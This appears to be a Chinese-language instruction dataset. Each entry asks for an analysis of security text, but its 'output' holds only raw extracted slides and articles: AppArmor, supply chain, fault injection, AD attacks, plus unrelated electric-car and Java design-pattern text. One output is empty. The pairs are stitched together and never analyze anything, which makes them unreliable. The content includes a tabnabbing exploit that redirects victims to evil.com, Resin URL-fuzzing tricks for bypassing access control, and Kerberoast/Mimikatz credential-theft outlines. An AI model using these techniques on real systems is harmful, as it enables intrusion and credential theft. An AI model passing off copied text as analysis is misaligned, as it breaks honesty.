全面覆盖99.9%动态特性 2. 简单支持命令行与代码调用可使用composer安装 3. 可扩展支持自定义规则 CHIP工作流程 Parser Walker Analyze Ast Tree Visitor CHIP是如何工作的 è Parser PHP-Parser: https://github.com/nikic/PHP-Parser 支持PHP5.2~ 7.4所有语法结构 PHP-Parser能解决的最大问题 Parser的结果是许多AST Tree 遍历这些树上的所有Node 思考是否还有其他值得注意的语法结构


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Securing Linux Systems with AppArmor Crispin Cowan, PhD Director of Software Engineering Security Architect, SUSE Linux AppArmor: Easy-to-use Security for Ubuntu Linux Crispin Cowan, PhD Security Architect, SUSE What Is This 'AppArmor' Thing and Why Should I Care?  Novell Inc. All rights reserved 3 Agenda Overview A Closer Look at AppArmor Deployment Scenarios Demonstration of AppArmor Competitive Positioning AppArmor Futures  Novell Inc. All rights reserved 4 Software Security Problem Problem: Imperfect software :-)  Reliable software does what it is supposed to do  Secure software does what it is supposed to do, and nothing else Solution: only use perfect software ... slight supply problem :-)  Novell Inc. All rights reserved 5 AppArmor Solution Enforce that applications only get to do what they are supposed to do What means do?  At ultimate detail, this is the code itself  But we clearly can't get that right :-)  Need something simpler, more abstract Resources:  Restrict the application to only access the OS resources it should need  Novell Inc. All rights reserved 6 What Would You Do With That? Make a server network secure:  Confine all programs with open network ports  If all open ports lead to confined processes, then you have completely defined policy for what a network user or attacker can do  Yet far from having created policy for thw whole system  Novell Inc. All rights reserved 7 Is that really secure? Hard to say Security is semi-decidable  You can only tell when something is insecure  Hence all the Defcon talks on breaking something, and few on securing something So lets put it to a practical test  Put it in competition at Defcon and let people beat on it  Novell Inc. All rights reserved 8 Defcon CtF 2002-5 a la Ghettohackers Some real-world red teaming Play an Immunix server in the Defcon Capture the Flag (CtF) games Almost no holds barred:  No flooding  No physical attacks New gaming rig designed by the Ghettohackers  Novell Inc. All rights reserved 9


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

crawlergo是一个使用 chrome headless 模式进行URL收集的浏览器爬虫它对整个网页的关键 位置与DOM渲染阶段进行HOOK自动进行表单填充并提交配合智能的JS事件触发尽可能的 收集网站暴露出的入口内置URL去重模块过滤掉了大量伪静态URL对于大型网站仍保持较快 的解析与抓取速度最后得到高质量的请求结果集合 crawlergo 目前支持以下特性 * 原生浏览器环境协程池调度任务 * 表单智能填充自动化提交 * 完整DOM事件收集自动化触发 * 智能URL去重去掉大部分的重复请求 * 全面分析收集包括javascript文件内容页面注释robots.txt文件和常见路径Fuzz * 支持Host绑定自动添加Referer * 支持请求代理支持爬虫结果主动推送 Github: https://github.com/Qianlitp/crawlergo 作者开源了源码我是很兴奋的以前也有写一个的想法但是开源的动态爬虫不多看了其中几个 调研 1. https://github.com/fcavallarin/htcap 递归dom搜索引擎 发现ajax/fetch/jsonp/websocket请求 支持cookie代理uahttp auth 基于文本相似度的页面重复数据删除引擎 根据文本长度 <256 simhash else ShinglePrint 主要代码是python调用puppeteer但是核心逻辑在js里 2. https://github.com/go-rod/rod 一个操作chrome headless的go库 它比官方提供的chrome操作库更容易使用 有效解决了chrome残留僵尸进程的问题 3. https://github.com/lc/gau 通过一些通用接口获取url信息 4. https://github.com/jaeles-project/gospider Web静态爬虫也提供了一些方法获取更多URL 5. https://github.com/chaitin/rad 1. rad虽然没有开源但是它里面使用yaml进行的配置选项很多通过配置选项可以大致知道它 的一些特性 2. 可以手动登陆 3. 启用图片 4. 显示对爬取url的一些限制 1. 不允许的文件后缀 2. 不允许的url关键字 3. 不允许的域名 4. 不允许的url 5. 设置下个页面最大点击和事件触发 Crawlergo 之前也想过写一个动态爬虫来对接扫描器但是动态爬虫有很多细节都需要打磨一直没时间做现在 有现成的源码参考能省下不少事 主要看几个点 对浏览器 JavaScript环境的hoook dom的触发表单填充 url如何去重 url的收集 目录结构 根据源码的调用堆栈做了一个程序启动流程图 cmd  crawlergo # 程序主入口 examples imgs pkg config # 一些配置相关 engine # chrome相关程序 filter # 去重相关 js # 一些注入的js logger # 日志 model # url和请求相关的库 tools # 一些通用类库 requests 配置文件 pkg/config/config.go 定义了一些默认的配置文件 const ( DefaultUA = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36" MaxTabsCount = 10 TabRunTimeout = 20 * time.Second DefaultInputText = "Crawlergo" // 默认输入的文字 FormInputKeyword = "Crawlergo" // form输入的文字但是代码中没有引用这个变量 的 SuspectURLRegex = `(?:"|')(((?:[a-zA-Z]{1,10}://|//)["'/]{1,}\.[a- zA-Z]{2,}["']{0,})|((?:/|\.\./|\./)["'><,;|*()(%%$/\\\[\]]["'><,;|()]{1,})| ([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|#]["|'] {0,}|))|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{3,}(?:[\?|#]["|']{0,}|))|([a-zA-Z0- 9_\-]{1,}\.(?:php|asp|aspx|jsp|j


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

供应链安全分享 Greta Fan 供应链攻击案例 Solarwinds 特点 应对 伪装主机名 主动适配目标地区IP 横向移动 临时文件替换 1. 登录IP检查 2. 登录活动检查 3. 任务和文件监控 4. 高权限账户活动监控 高隐蔽性 范围极 广 针对性强 组织严密 持续性长 1. 资产和软件生命周期 安全管理 2. 安全开发管理 3. 针对供应链安全事故 的应急响应 供应链攻击案例 Solarwinds 供应链安全管理 管理框架 前瞻性为 导向 综合的风 险管理 效率和有 效性控制 领导和透 明性 业务部门 其他部门 合规风险管 理委员会 高层管理 董事会 内审/风控委 员会 供应链安全管理 供应商管理框架供应商分类分级管理 等级 定义 1 不涉及数据处理 2 涉及内部数据处理 3 涉及少量敏感信息处理 4  5   根据数据敏感程度/数据量  根据供应商的依赖程度 等级 定义 1 出事故不会影响业务 2 可以立刻恢复业务 3 可以在短时间内恢复业务 4  5   根据供应商规模大小  根据合作时间  根据合作金额大小   供应链安全管理 供应链管理 系统 供应商 供应商 自研 开源框 架 企业 自研 开源框 架 以 系 统 为 核 心 供应链安全管理 供应链风险矩阵 风险等级 可替代性 影响业务 整改难度 1 完全可替代 无影响 简单或无需整改 2 稍微修改即可替代 较小影响 较简单 3 需要较大努力可替代 有影响 需要一个月以内时间 4 需要很大努力才可能替代 很大影响 需要一个月以上时间 5 不可替代 很大影响 垄断不受控 重点监控事前发现 供应链安全管理 项目流程中的安全 威胁评估 安全需求 分析 架构检查 需求确定 需求分析 架构设计 实施 整合 验证 检查 漏洞管理 源代码  项目计划  项目评估和 控制  决策管理  风险管理  配置管理  信息和数据 管理 供应链安全管理 供应链安全管理的挑战 新技术新威胁 零售行业发展迅速业务部门施压 专业技术人员 招聘培训专业人员的成本巨大 投资回报率 ROI一个永恒的难题 供应链安全管理 Best Practice 标准化体系化以及集中化的供应商管理 整个企业内部进行长久和持续的沟通培训 1 2 关键供应商进行定期审计 3 各类监控工具防御工具确保业务连续性 4 可针对关键业务购买保险 5


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents Tunable Replica Circuit for Fault- Injection Detection Daniel Nemiroff Carlos Tokunaga  FaultInjection Attack Basics  Dive into the TRC (Tunable Replica Circuit)  Why and How Intel Integrated the TRC  TRC Calibration and Validation  Conclusions and Productization NonInvasive FI Attacks  This briefing covers the faultinjection detection circuit, known as the TRC (tunable replica circuit).  Our focus is noninvasive FI attacks, where modification of the package is out of scope, this includes:  Voltage attacks  Clock attacks  EM (electromagnetic radiation) attacks  Thermal attacks NonInvasive FI Attacks As they are exposed at the packagelevel, clock and voltage pins are the primary non invasive attack surface. SemiInvasive FI Attacks  Lasers are a primary semiinvasive threat, because they require a package delid.  However, research shows attacks from the side of a package can be done, without a delid.  These attacks are out of scope for this briefing. To Complete the Circle . . . . . . Invasive Physical Attacks Primary Vehicles:  FIBs, etching, ondie probing, etc.  Again, out of scope for this briefing, which is focused on noninvasive physical attacks. What is the Attacker is Trying to Accomplish with FI?  Using FI, a common goal of the attacker is to cause circuit timing to fail, without causing the platform to crash.  When circuit timing fails, data can be latched too early or too late.  In many cases, latching data early causes 0x00 to be latched.  In the context of a CPU or uC, when glitched at just the right time, an attack can cause a NOP to be latched, instead of a JMP.  In fixedfunction crypto engines, real keys could be replaced, etc.  In fabrics and busses, I/O devices could latch data or bus addresses too early/late. Voltage Glitch Impact on Timing Good CLK Data Lines: Undervoltage glitch slows the data down, resulting in a 0b being latched Undervoltage Glitch Attack NOP JMP Clock Glitch Impact on Timing Good Clock Data Lines Good CLK l


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

parted === 磁盘分区和分区大小调整工具 ## 补充说明 **parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具与fdisk不同它支持调整分区的大小作为一种设计用于Linux的工具它没有构建成处理与fdisk关联的多种分区类型但是它可以处理最常见的分区格式包括ext2ext3fat16fat32NTFSReiserFSJFSXFSUFSHFS以及Linux交换分区 ### 语法 ```shell parted(选项)(参数) ``` ### 选项 ```shell -h显示帮助信息 -i交互式模式 -s脚本模式不提示用户 -v显示版本号 ``` ### 参数 * 设备指定要分区的硬盘所对应的设备文件 * 命令要执行的parted命令 ### 实例 从串行技术出现以来越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列特别是MD1000/MD3000很轻易就突破2T的LUN故在此给大家一些指引 红帽企业 Linux 4 Update 4供对大于 2 terabytesTB的磁盘设备的支持 请参考以下操作步骤 注 * 绿色代表你需要使用的命令 * 红色代表你需要注意到的输出信息在后续需要使用 ```shell [root@localhost ~]# fdisk -l Disk /dev/sda: 35.8 GB, 35862976512 bytes 255 heads, 63 sectors/track, 4360 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks id System /dev/sda1 * 1 13 104391 83 Linux /dev/sda2 14 144 1052257+ 82 Linux swap /dev/sda3 145 4360 33865020 83 Linux Disk /dev/sdb: 2147 MB, 2147483648 bytes 255 heads, 63 sectors/track, 261 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk /dev/sdb doesn't contain a valid partition table ``` ```shell [root@localhost ~]# parted /dev/sdb GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc. This program is free software, covered by the GNU General Public License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 使用/dev/sdb (parted)mklabel gpt (parted)print /dev/sdb的磁盘几何结构0.000-2048.000兆字节 磁盘标签类型gpt Minor 起始点 终止点 文件系统 名称 标志 (parted)mkpart primary 0 2048 <-----上面print显示的数字 (parted)print /dev/sdb的磁盘几何结构0.000-2048.000兆字节 磁盘标签类型gpt Minor 起始点 终止点 文件系统 名称 标志 1 0.017 2047.983 (parted)quit ``` 如果必要不要忘记更新`/etc/fstab` ```shell [root@localhost ~]# fdisk -l Disk /dev/sda: 35.8 GB, 35862976512 bytes 255 heads, 63 sectors/track, 4360 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sda1 * 1 13 104391 83 Linux


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SAVING THE INTERNET Jay Healey @Jason_Healey Atlantic Council 1. Shift in people demographics  different nations, different values and relationship of millenials 2. Shift in device and computing demographics  massive uptick in devices (IoT and IoE), change in how people connect (mobile), change in how and where computing is done (cloud, quantum, wearable and embedded) 3. Massive growth in data  big data, analytics, universal telemetry from IOT 4. Growing tech and policy challenges  Moores Law? Network neutrality 5. Breakdown of governance  walled gardens, increase of national borders, decreasing trust, lack of large-scale crisis management mechanisms 6. Continuing attacker and offense advantage over defense  O>D The Large Internet Trends Cyberspace Domain of Warfare  or Not? A global domain within the information environment consisting of the interdependent network of information technology infrastructures and resident data, including the Internet, telecommunications networks, computer systems, and embedded processors and controllers Although cyberspace is a man-made domain, it has become just as critical to military operations as land, sea, air, and space. As such, the military must be able to defend and operate within it. - Bill Lynn, then-Deputy Secretary of Defense By increasingly equating cyber with national security the Washington policy community has militarized the underlying resource, the Internet ~1436 ~1454 If there is something you know, communicate it. If there is something you don't know, search for it. Violates Privacy? Civil Liberties? Legal? Constitutional? If there is something you know, communicate it. If there is something you don't know, search for it. Global Internet Users 1993: 14 million 2003: 778 million 2013: 2.7 billion 2030? 2280? Data breaches Cyber crime Anonymous Malware Espionage State-sponsored attacks Stuxnet Heartbleed Erection of borders    Privacy Civil Liberties Security sep Future Economic and National Security Todays National


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TC260-PG-20212A 网络安全标准实践指南 网络数据分类分级指引 v1.0-202112 全国信息安全标准化技术委员会秘书处 2021 年 12 月 本文档可从以下网址获得 www.tc260.org.cn/ I 前 言 网络安全标准实践指南以下简称实践指南 是全国信息安全标准化技术委员会以下简称信安标委 秘书处组织制定和发布的标准相关技术文件旨在围绕网络 安全法律法规政策标准网络安全热点和事件等主题宣 传网络安全相关标准及知识提供标准化实践指引 II 声 明 本实践指南版权属于信安标委秘书处未经秘书处 书面授权不得以任何方式抄袭翻译实践指南的任何 部分凡转载或引用本实践指南的观点数据请注明 来源全国信息安全标准化技术委员会秘书处 技术支持单位 本实践指南得到中国电子技术标准化研究院中国 移动通信集团有限公司中国网络安全审查技术与认证中心 北京信息安全测评中心成都卫士通信息产业股份有限公司 亚信科技成都有限公司北京百度网讯科技有限公司 北京奇虎科技有限公司联通大数据有限公司北京明朝万 达科技股份有限公司天翼电子商务有限公司蚂蚁科技集 团股份有限公司深信服科技股份有限公司北京爱奇艺科 技有限公司杭州安恒信息技术股份有限公司北京字节跳 动科技有限公司阿里巴巴北京软件服务有限公司OPPO 广东移动通信有限公司中国电信集团有限公司北京数安 行科技有限公司顺丰速运有限公司深圳市腾讯计算机系 统有限公司北京小桔科技有限公司京东科技控股股份有 限公司闪捷信息科技有限公司内蒙古自治区大数据中心 等单位的技术支持 III 摘 要 为贯彻落实中华人民共和国数据安全法中国家建 立数据分类分级保护制度要求保障国家安全公共利益 个人和组织的合法权益本实践指南依据法律法规和政策标 准要求给出了网络数据分类分级的原则框架和方法可 用于指导数据处理者开展数据分类分级工作也可为主管监 管部门进行数据分类分级管理提供参考 IV 目 录 1 范围....................................................................... 1 2 术语定义 ................................................................... 1 3 数据分类分级原则 ........................................................... 3 4 数据分类分级框架 ........................................................... 3 4.1 数据分类框架 ......................................................... 3 4.2 数据分级框架 ......................................................... 4 5 数据分类方法 ............................................................... 5 5.1 数据分类流程 ......................................................... 5 5.2 个人信息识别与分类 ................................................... 7 5.3 公共数据识别与分类 .................................................. 10 5.4 公共传播信息识别与分类 .............................................. 11 6 数据分级方法 .............................................................. 12 6.1 分级要素 ............................................................ 12 6.2 基本分级规则 ........................................................ 14 6.3 一般数据分级规则 .................................................... 14 6.4 定级方法 ............................................................ 15 6.5 重新定级 ....................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Plug For Plug-Ins Burning oil-based fuels, in addition to its political and economic problems, is the single largest contributor to U.S. greenhouse gas emissions. The interim strategy of increasing fuel efficiency of gasoline powered cars relies on a continuing commitment to gasoline. In parallel, strategies are needed for reducing dependency on fossil fuel. a range of approaches will do this. Electric cars provide unique opportunities in this regard, as they can be powered by solar, wind or almost any other form of renewable energy. Why would converting the entire U.S. auto fleet add so little to electric consumption? The key is the greater efficiency of the electric motor. According to Chevron engineers, the current internal combustion car only delivers 13% of the fuel energy from the motor to the wheel. A recent report by US traffic engineers discovered that 10% of the remaining energy is wasted waiting for traffic lights. In contrast, 85% of the energy stored in an EVs batteries is delivered to the wheels, and no energy loss while stopped in traffic. Join the green car movement Many people have decided they wont wait for the automakers to come up with an affordable, true 100% electric car. These people have been converting gas-engine donor cars to all-electric themselves for 40 years. There are many companies in the U.S. that sell conversion kits custom designed for specific popular car and truck models, or generic kits that the hobbyist can custom fit easily into any vehicle. HEAA.org Houston Electric Auto Association Get informed Look past the government, auto and oil industry hype Web links for more information: http://www.pluginamerica.org http://www.setamericafree.org http://www.evfinder.com http://www.driveev.com http://www.eaaev.org Electric Cars: The Future is Here! Starve a terrorist, drive an electric car No noise, no smog, no gas, no kidding! A Case for Electricity Until the Nissan Leaf and Chevy Volt are introduced into the market, home conversion is


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RenderMan Michael theprez98 Schearer render@renderlab.net theprez98@verizon.net HACKERS VS. DISASTERS Our hacker brains are pre-wired to find alternate uses for many devices. We look at the world as a puzzle to solve in everything we do. We can come up with the most extraordinary solutions to problems under the most extraordinary circumstances. Hacker skills are largely compatible with the skills necessary to survive in the wilderness or during a natural disaster. HACKER SKILLS FOR WILDERNESS AND DISASTER SURVIVAL PART 1 Have you seen Survivorman? Michael theprez98 Schearer  Work for Booz Allen in central Maryland  Spent 8+ years in the U.S. Navy as an EA-6B Electronic Countermeasures Officer  Veteran of aerial combat missions over Iraq and Afghanistan  Spent 9 months on the ground in Iraq as a counter-IED specialist  Licensed amateur radio operator, active member of the Church of WiFi, a football coach and father of four Michael theprez98 Schearer  Previous speaker at DEFCON, ShmooCon, HOPE and other conferences  Contributor to several Syngress books Why you should listen to me (maybe)  Military experience  Graduate of the Department of Defenses Survival, Evasion, Resistance and Escape (SERE) school  Other survival and outdoor training  Skills learned from experiences (both good and bad!) Why you should be skeptical I am not this guy or this guy  I am not a survival expert; other people (maybe some of you) know more than I do  Survival skills will vary based upon experience, training, geography, weather, time of year and other factors Why you should care: Natural disasters  Tornadoes  ~1300 tornadoes per year since 2000  $427 million of damage per year since 1950  Hurricanes  ~10 named (Atlantic) storms per year since 1944  $1.6-6.2 billion of damage per year since 1950  Hurricanes Katrina and Rita caused an estimated $45 billion dollars in damage Why you should care: Natural disasters/Pandemics  Earthquakes  19.4 magnitude 7.0+ earthquakes per year  $4.4 billion i


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Improving Cybersecurity through Non-Technical Exercises and In- House Strategic Analysis View from the Czech Republic by Michal Thim DRAFT - DO NOT QUOTE DISCLAIMER: The views and opinions expressed in this presentation are those of the presenter and do not necessarily reflect the official policy, position of the National Cyber and Information Security Agency of the Czech Republic, or any other government agency.  Cyber and policy/OSINT specialist at the Czech National Security Authority/National Cyber and Information Security Agency (NCISA) since August 2016, with research focus on East Asia (military and security developments, APTs)  Background in political science. Not even remotely close to be a technical expert.  Worked in a foreign policy think-tank (experience with decision-making environment)  Tried academic environment (and left it behind, which made both me and academia quite happy)  Developed some knowledge of Chinese language (can order coffee in Starbucks and has a 50% chance to answer correctly YES/NO question)  Above is not atypical personnel profile at the NCISA DRAFT - DO NOT QUOTE  Central body of state administration for cyber security  Mission(s)  Operation of the government CERT team: GovCERT.CZ  Cooperation with national & international CERT teams  Coordination and implementation of the National Cyber Security Strategy and related Action Plan  Protection of critical information infrastructure and other important systems (helping them to protect themselves)  Preparation of exercises and education projects  Analysis and monitoring of cyber threats  International cooperation DRAFT - DO NOT QUOTE  Outline of the institutional framework for cybersecurity in the Czech Republic  Non-technical exercises and its relevance for decision making process  Strategic analysis helps decision makers to understand cybersecurity DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Even relatively simple setup involves number of agencies across government sector  There is a


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 5. 中介者Mediator ### Intent 集中相关对象之间复杂的沟通和控制方式 ### Class Diagram - Mediator中介者定义一个接口用于与各同事Colleague对象通信 - Colleague同事相关对象

 ### Implementation Alarm闹钟CoffeePot咖啡壶Calendar日历Sprinkler喷头是一组相关的对象在某个对象的事件产生时需要去操作其它对象形成了下面这种依赖结构

 使用中介者模式可以将复杂的依赖结构变成星形结构

 ```java public abstract class Colleague { public abstract void onEvent(Mediator mediator); } ``` ```java public class Alarm extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("alarm"); } public void doAlarm() { System.out.println("doAlarm()"); } } ``` ```java public class CoffeePot extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("coffeePot"); } public void doCoffeePot() { System.out.println("doCoffeePot()"); } } ``` ```java public class Calender extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("calender"); } public void doCalender() { System.out.println("doCalender()"); } } ``` ```java public class Sprinkler extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("sprinkler"); } public void doSprinkler() { System.out.println("doSprinkler()"); } } ``` ```java public abstract class Mediator { public abstract void doEvent(String eventType); } ``` ```java public class ConcreteMediator extends Mediator { private Alarm alarm; private CoffeePot coffeePot; private Calender calender; private Sprinkler sprinkler; public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) { this.alarm = alarm; this.coffeePot = coffeePot; this.ca


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本篇文章翻译自Offensive WMI - Exploring Namespaces, Classes & Methods (Part 2) :: 0xInfection's Blog  Random ramblings of an Infected Geek. 本篇文章是 WMI 攻击手法研究的第二篇主要研究 WMI 中的 3 个组件在整篇文章中我们将交替使 用 WMI 和 CIM cmdlet以便熟悉这两种 cmdlet 类型 一命名空间 让我们简单回顾一下命名空间是什么 命名空间结构信息类似于文件系统中文件夹但是与物理位置 (例如磁盘上) 不同它们本质上 更具有逻辑 WMI 中的所有命名空间都是 __Namespace 系统类的实例要获取 root 命名空间下所有命名空间的列 表可使用以下命令查询同一个类 Get-WmiObject -Namespace root -Class __Namespace 输出的内容包含了许多信息为了过滤掉 "无用" 信息可使用 PowerShell 中的 select  现在我们从系统中得到一个命名空间的列表许多命名空间会是这样格式出现 root\<namespace> 比 如 root\DEFAULT  root\CIM2 等等因为它们是 root (本身也是一个命名空间) 下的命名空间 注意一个奇怪而有趣的事实是WMI 中的默认命名空间不是 root\DeFAULT 而是 root\CIMV2 (自 Windows 2000 以来一直是这样) 使用 CIM cmdlet Get-CimInstance 可以实现相同目的 Get-WmiObject -Namespace root -Class __Namespace | select name Get-CimInstance -Namespace root -ClassName __Namespace OK上面已整整齐齐列出来了那嵌套的名称空间呢我们已经看到 root 命名空间下有几个命名空 间只需要编写一个脚本递归地获取名称空间 (来自 PSMag) 注意类和命名空间可能因机器而异具体取决于可用硬件安装的应用程序和许多其它因素 二类 现在我们有一个可用的命名空间列表让我们来看看类那么什么是类 WMI 类表示系统中的特定项它可以是从系统进程到硬件 (比如网卡)服务等任何内容 类分为 3 个主要类型 (这是 CIM 标准的要求) Function Get-WmiNamespace { Param ( $Namespace='root' ) Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object { ($ns = '{0}\{1}' -f $_.__NAMESPACE,$_.Name) Get-WmiNamespace $ns } } Core classes (核心类)适用于所有管理领域并提供很少的基本功能它们通常以双下划线开头 (比如 __SystemSecrity ) Common classes (公共类)这些是核心类的扩展适用于特定的管理领域以 CIM_ 为前缀 (比如 CIM_TemperatureSensor ) Extended classes (扩展类)这些是对基于技术堆栈的常见类的额外添加 (例如 Win32_Process) 类进一步分为以下类型 Abstract classes (抽象类)定义新类的模板 Static classes (静态类)主要用于存储数据 Dynamic classes (动态类)从 Provider 取回数据代表 WMI 托管资源我们最感兴趣的是这种 类型的类 Association classes (关联类)描述类和托管资源之间的关系 2.1 列出类 有了足够的理论支撑让我们尝试寻找一些类我们可以使用 Get-WmiObject cmdlet 列出可用的类 上面这条命令将会列出所有类但为了举例假设我们对系统上的用户感兴趣可以使用以下命令来缩 小范围该命令列出了用于获取或操作用户信息的所有可用类 同样也可以使用 Get-CimClass 命令也能实现同样的效果如下所示 Get-WmiObject -Class * -List Get-WmiObject -Class *user* -List Get-CimClass -ClassName *user* 注意有关所有 Win32 类的列表可以参考 Microsoft 的类文档 Win32 Provider 提供 4 个不 同类别的类计算机系统硬件类操作系统类性能计数器类和 WMI 服务管理类 若要获取动态类可以使用 Get-CimClass cmdlet


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 OLONLTLW-奇葩的Resin 前 从其他两个tips说起 N./test%OL/test.jsp O./test/#/../test.jsp 三其他些tips N.对/test$$/test.jsp进fuzz O.对/test/test.jsp$$进fuzz P.对/test//test.jsp进fuzz 记录今天在做JavaWeb的权限绕过总结时发现Resin的些tips 个是某微oa/services%20/WorkflowServiceXml 个是rr在知识星球发的个tips关于#来绕nginx的403 测试发现tomcat这两个tips都不能某微使的Resin于是搭了个Resin开始测试 直接在resin官下了个最新版测试的 前 从其他两个tips说起 1./test%20/test.jsp 2./test/#/../test.jsp 2 对此处进fuzz 三其他些tips 1.对/test$$/test.jsp进fuzz 3 发现%2e,%2f,%3b,%5c都能起到%20的效果 分号后可以随意加字符tomcat也 2.对/test/test.jsp$$进fuzz 4 发现和上的结果样 且发现%2f,%5c,%3b后可以跟随意字符 5 3.对/test//test.jsp进fuzz 6


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Red vs. Blue: Modern Active Directory Attacks & Defense Sean Metcalf CTO DAn Solutions sean [@] dansolutions . com http://DAnSolutions.com http://www.ADSecurity.org Photo by Ed Speir IV. All Rights Reserved. Used with Permission. ABOUT Chief Technology Officer - DAn Solutions Microsoft Certified Master (MCM) Directory Services Security Researcher / Purple Team Security Info -> ADSecurity.org AGENDA Red Team (Recon, Escalate, Persist) Blue Team (Detect, Mitigate, Prevent) Kerberos TGT Ticket Kerberos Overview Kerberos Key Points NTLM password used for Kerberos RC4 encryption. Logon Ticket (TGT) proves prior user auth to DC. Kerberos policy only checked at TGT creation DC only validates user account when TGT > 20 mins. Service Ticket (TGS) PAC validation is optional & rare. Red Team (Offense) SPN Scanning Service Discovery SQL servers, instances, ports, etc. MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433 Exchange Client Access Servers exchangeMDB/adsmsEXCAS01.adsecurity.org RDP TERMSERV/adsmsEXCAS01.adsecurity.org Going from N/A to DA (Domain Admin) Poor Service Account Passwords Passwords in SYSVOL Credential Theft Misconfiguration / Incorrect Perms Exploit Vulnerability SPN Scanning for Service Accounts with Find-PSServiceAccounts SPN Directory: http://adsecurity.org/?page_id=183 Cracking Service Account Passwords (Kerberoast) Request/Save TGS service tickets & crack offline. Kerberoast python-based TGS password cracker. No elevated rights required. No traffic sent to target. Kerberoast: Request TGS Service Ticket Kerberoast: Save & Crack TGS Service Ticket Exploiting Group Policy Preferences \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ Mimikatz: The Credential Multi-tool Dump credentials Windows protected memory (LSASS). * Active Directory Domain Controller database . * Dump Kerberos tickets for all users. * for current user. Credential Injection Password hash (pass-the-hash) Kerberos ticket (pass-the-ticket) Generate Silver and/or Golden tickets And so much more! Dump Credenti


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Tabnabbing ## Introduction When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property. ## How to find ```html <a href="..." target="_blank" rel="" /> <a href="..." target="_blank" /> ``` ## How to Exploit 1. Attacker posts a link to a website under his control that contains the following JS code: ```html <html> <script> if (window.opener) window.opener.parent.location.replace('http://evil.com'); if (window.parent != window) window.parent.location.replace('http://evil.com'); </script> </html> ``` 2. He tricks the victim into visiting the link, which is opened in the browser in a new tab. 3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website. ## References * [Hackerone #260278](https://hackerone.com/reports/260278)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HITCON PACIFIC 2017 ICS/SCADA Cybersecurity and IT Cybersecurity: Comparing Apples and Oranges Presented by David Ong | CEO of Attila Cybertech 8 December 2017 2 2  But there are also unknown unknowns. There are things we dont know we dont know. Donald Rumsfeld, former Secretary of Defence Quote by Donald Rumsfeld 3 David Ong, Entrepreneur and Founder of Excel Marco Group, a successful Industrial Automation Integrator and Attila Cybertech, a Operational Technology (OT) cyber security firm. With over 20 years of professional experience and is widely recognized as an active professional in process automation safety industries. Biography About Attila Cybertech  Cyber Security in Operational Technology (OT)  Data Analytics for Plant and Factory Optimization  OT and IT Integration for the Critical Information Infrastructure Sectors (CII) To be a leader in creating resilient Cyber Ecosystem  that is safe and transformational for humanity  To help create Cyber-Resilience Critical Information Infrastructure (CII) and to inspire Data Analytics application using Artificial Intelligence   VISION MISSION 3  Terminology  Types of ICS  The Need to Secure ICS  IT-OT Convergence  Challenges in IT-OT Convergence  Standards & Best Practices for ICS  ICS Cyber Security Assessment  Cyber Security Assessment & Tool  ICS Security Architecture  Industrial Protocols  Security Application for ICS  Q & A 4 VS IT OT ICS/SCADA Cyber security and IT Cybersecurity Comparing Apples and Oranges OT is hardware and software that detects or causes a change through the direct monitoring and/or control of physical devices, processes and events in the enterprise. (Gartner) OT is a category of hardware and software that monitors and controls how physical devices perform. (SearchData.com) OT is the hardware and software dedicated to detecting or causing changes in physical processes through direct monitoring and/or control of physical devices such as valves, pumps, etc. (Wikipedia) 5 What is Operational T


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

